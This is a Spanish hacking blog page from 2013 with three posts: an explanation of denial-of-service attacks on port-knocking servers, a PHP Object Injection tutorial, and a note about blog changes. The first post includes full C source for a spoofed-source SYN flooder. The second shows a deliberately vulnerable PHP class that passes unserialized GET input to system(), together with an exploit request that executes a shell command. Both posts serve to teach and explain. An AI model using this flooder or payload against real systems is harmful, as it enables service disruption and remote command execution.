miércoles, 22 de mayo de 2013

DEFENSA OFENSIVA POR OSCURIDAD-PORT KNOCKING III.

DoS..knockOUT Fuera de Combate (DoS Knocking Attack)


Recordamos de nuevo ( Sorry, soy un pesado) que la idea central del Port Knocking es que se envía una secuencia de paquetes a un servidor y este  tiene el "efecto" de ajustar las reglas del cortafuegos para permitir la conexión a través de un puerto que el cortafuegos tiene previamente cerrado.

También hemos visto como burlar al Firewall con NAT con este tipo de implementaciones y como ya dije existen muchas voces abogando por un cambio en las estructura del Port Knocking.. 

Como es lógico y para que funcione correctamente, el "Port-Knocking Server" debe intenta controlar la conexión hecha en su contra, por lo que puede buscar patrones de autenticación y los puertos abiertos cuando sea solicitado por los usuarios autorizados. Esto implica que un proceso debe analizar los logs en ​​tiempo real para detectar automáticamente las secuencias.

Si analizamos la forma en que el puerto "golpea" nos damos cuenta que el proceso necesita un "buffer" por cada uno de los clientes que quieren realizar la conexión, por lo que el proceso es capaz de rastrear cada secuencia de autenticación.

Si un atacante logra enviar paquetes falsificados con las direcciones de red de origen aleatorios (de la misma manera algunos gusanos se propagan) el proceso "the parser process"  tendría que crear un "buffer" para cada una de las direcciones, por lo que haciendo que este proceso deba consumir grandes cantidades de memoria.
(Más adelante veremos un ejemplo en código)

Otras dos consideraciones acerca de los ataques de denegación de servicio en "portknocking" es sobre el cifrado de parámetros y el rendimiento del "parser"..se recomienda cifrado de parámetros de manera que se puedan lograr dos principios básicos de seguridad de la información como son  la integridad y la confidencialidad.

Para lograr este cometido de confidencialidad e integridad la recomendación es el uso de "one-time-passwords" para evitar ataques de repetición (reply attacks).








Estado del servidor de "portKnocking" (vmstat) durante el proceso de ataque DoS con un intervalo de tiempo entre las medidas de 5 segundos 

De cualquier manera,se implemente o no criptografía, el análisis de tráfico siempre es posible, dándonos la pista sobre le mecanismo de autenticación utlizado ..

Si un atacante puede recopilar datos de este mecanismo que incluyen varias autenticaciones, este puede darse cuenta de que antes de cualquier conexión a un puerto protegido hay una serie de intentos de conexión contra puertos cerrados (y en función del número de autenticaciones capturados, podría ser posible para identificar los puertos válidos que están siendo utilizados y su oscilación)

Código usado para el Ataque KnockOut (DoS-Knocking) 



Este es el Código fuente para generar un ataque que consiste en el envío de paquetes con direcciones de origen falsas al azar a los puertos "al azar" en el blanco.

#include "forgeit.h"
#define INTERFACE "eth0"
#define INTERFACE_PREFIX 14
char SOURCE[16],DEST[16];
int SOURCE_P,DEST_P;
int main(int argc, char *argv[])
{
int i, quantity, starting_port, range, fd_send;
if(argc != 5) {
printf("\tusage: %s ip_dst quantity init_port port_qty\n",
argv[0]);
exit(0);
}
DEV_PREFIX = INTERFACE_PREFIX;
memset(SOURCE,0,16);
memset(DEST,0,16);
srand(time(NULL));
strncpy(DEST,argv[1],15);
quantity = atoi(argv[2]);
starting_port = atoi(argv[3]);
range = atoi(argv[4]);
fd_send = open_sending();
for (i=0;i<quantity;i++)
{
snprintf(SOURCE,15,"%d.%d.%d.%d"
,1+(int)(254.0* rand()(RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0))
,1+(int)(254.0*rand() / (RAND_MAX+1.0)));
SOURCE_P=1024+(int)(60000.0*rand() / (RAND_MAX+1.0));
DEST_P=starting_port+(int)(((float)range)*rand() /
(RAND_MAX+1.0));
transmit_TCP (fd_send, SOURCE, SOURCE_P,DEST, DEST_P,SYN);
}
return 0;
}


(Ejemplo basado en el código de Brecht Claerhout para spoofip  y sniper-rts  modificado únicamente para mejorar el rendimiento de paquetes que envía)

Un saludo

Live Free Or Die Hacking 










5 0verl0ad Labs: mayo 2013 DoS..knockOUT Fuera de Combate (DoS Knocking Attack) Recordamos de nuevo ( Sorry, soy un pesado) que la idea central del Port Knocking es...

lunes, 13 de mayo de 2013

Tutorial de PHP Object Injection

Buenas, este es mi primer articulo desde que me uní al Team hace algunos meses.

Para lo que no me conocen, mi nick es Yoyahack - ~Yoya~. Desde hace algunos años me dedico a la programación  iniciándome por Perl, luego dedicándome a PHP cerca de 2 años y de momento como programador Java. En el próximo mes comienzo a trabajar como programador de Java EE (Java Enterprise Edition). También me gusta la seguridad nivel web, como a @TheXC3LL jejeje :P


¿Que es PHP Object Injection?


PHP Object Injection, es una vulnerabilidad que consiste en insertar un objeto serializado, que luego al convertir este en su estado original (utilizando unserialize()), se ejecuta el objeto serializado que le pasamos a la aplicacion

Pero para que se de la vulnerabilidad, debe cumplir con estos requisitos.
  • Que la clase a la que pertenece el objeto, este incluida, de lo contrario daría un error, porque se estaria instanciando una clase que no existe.
  • Que la clase que instancia el objeto, contenga un método que se lancen automáticamente al hacer la instancia de la clase. Métodos como el constructor, destructor, etc... Y que dentro esos métodos  se encuentre el código vulnerable.
  • Que los Atributos de la clase que se instancia, sean utilizadas en los métodos que se ejecutan automáticamente (llamados Metodos Magicos).

¿Porque se produce la vulnerabilidad?



La vulnerabilidad se produce, porque no se ha limpiado el valor que se le pasara a la función unserialize(). Cuando me refiero a limpiar, es verificar (o limpiar) que el valor este limpio de código que pueda alterar el funcionamiento.

Información adicional:


  • La serializacion de  un objeto, consiste convertir un objeto a una cadena de texto (String), esta cadena contiene una representación de la clase y sus propiedades.
  • Métodos Mágicos, son métodos que se lanzan automáticamente, como el constructor.
  • Un Objeto, es una instancia de una clase
  • Los Atributos de un objeto o variables miembros, son variables  que pertenecen a la clase y por lo tanto se pueden usar en toda la clase.

Algo a tener muy en cuenta, como pasa en toda vulnerabilidad. Para explotar una vulnerabilidad, es necesario que el sistema reciba y utilice información mandada por el usuario. Ya sea via GET, POST, utilizando una COOKIE, utilizando el User Agent, etc...

Llevando todo a la practica


Bueno, aquí un ejemplo de un código vulnerable:

  1. <?php
  2. class EjemploDePHPObjectInyection {
  3.         public $comando=null;
  4.         public function __destruct() {
  5.                 system($this->comando);
  6.         }
  7. }
  8. $ejemplo = unserialize($_GET['cod']);
  9. ?>



    En este caso, el código cumple con todo los requerimientos. La clase que se va a instanciar esta incluida en el archivo, la clase contiene un método que se lanza automáticamente, y contiene un atributo que se utiliza en el método que se lanza automáticamente.

    Para explotar la clase, lo que haremos mandar vía GET un objeto de la clase EjemploDePHPObjectInyection   
    serializado pero le seteamos un valor al atributo comando, que en mi caso seria un uname -a. En este caso utilizaremos el parámetro cod.

    Petición GET:  http://127.0.0.1/pruebas/objectInjection.php?cod=O:27:"EjemploDePHPObjectInyection":1:{s:7:"comando";s:8:"uname -a";}

    Salida:
    Linux 127.0.0.1 Fedora 3.8.11-200.fc18.x86_64 #1 SMP Wed May 1 19:44:27 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux 

    Y listo, ya puedo ejecutar comando del sistema jejeje.


    Dependiendo el contexto donde se de esta vulnerabilidad, puede dar cabida otras vulnerabilidades como SQL Inyeccion, Inyección de código PHP,  PHP command execution, etc...

    Hace menos de un mes, publicaron que Joomla era vulnerable a PHP Object Injection. Pueden probar explotarla, yo lo hize, me costo un poco ya que tuve que leerme algunos archivos php de joomla, es un poco complicado pero es una buena experiencia.

    Link

    Saludos!
    5 0verl0ad Labs: mayo 2013 Buenas, este es mi primer articulo desde que me uní al Team hace algunos meses. Para lo que no me conocen, mi nick es Yoyahack - ~Yoya~. D...

    martes, 7 de mayo de 2013

    Cambios en el blog

    ¡Saludos!

      Como habreis notado hemos hecho algunas modificaciones en el blog. La más obvia de todas es que hemos cambiado la plantilla. Nos hemos decantado por una más sencilla y clara, para que sea más ligera de leer. El negro y azul pasaron a la historia... aunque guardo un back up por si nos da la nostalgia en algún momento ;).


       También hemos añadido un widget para que os sea más fácil compartir los pots en las redes sociales. Esto último también se lo habíamos añadido a la anterior plantilla, pero al parecer los botones quedaban bloqueados por add ons como AddBlock y NoScript. Hemos elegido unos botones "discretos" que vayan más acorde con el diseño actual del blog. Esperemos que los de @HackHispano estén contentos, y dejen de mandarles DM bombas por twitter a @Aetsu .

      Hay más cosas que tenemos que hacer, como lo de subir de una maldita vez todo a GitHub, o terminar los posts que tengo abiertos y que prometí  publicar. No os preocupeis, que llegará a hacerse ;)


    Byt3z


    PD: muy probablemente esté por Madrid a principios de Junio, después de examenes. Tenía pensado montar un TapasCON (cerveza) peor chiste de la historia asi que estad atentos al blog y a Twitter para ver en qué queda la cosa.
    5 0verl0ad Labs: mayo 2013 ¡Saludos!   Como habreis notado hemos hecho algunas modificaciones en el blog. La más obvia de todas es que hemos cambiado la plantilla. N...
    < >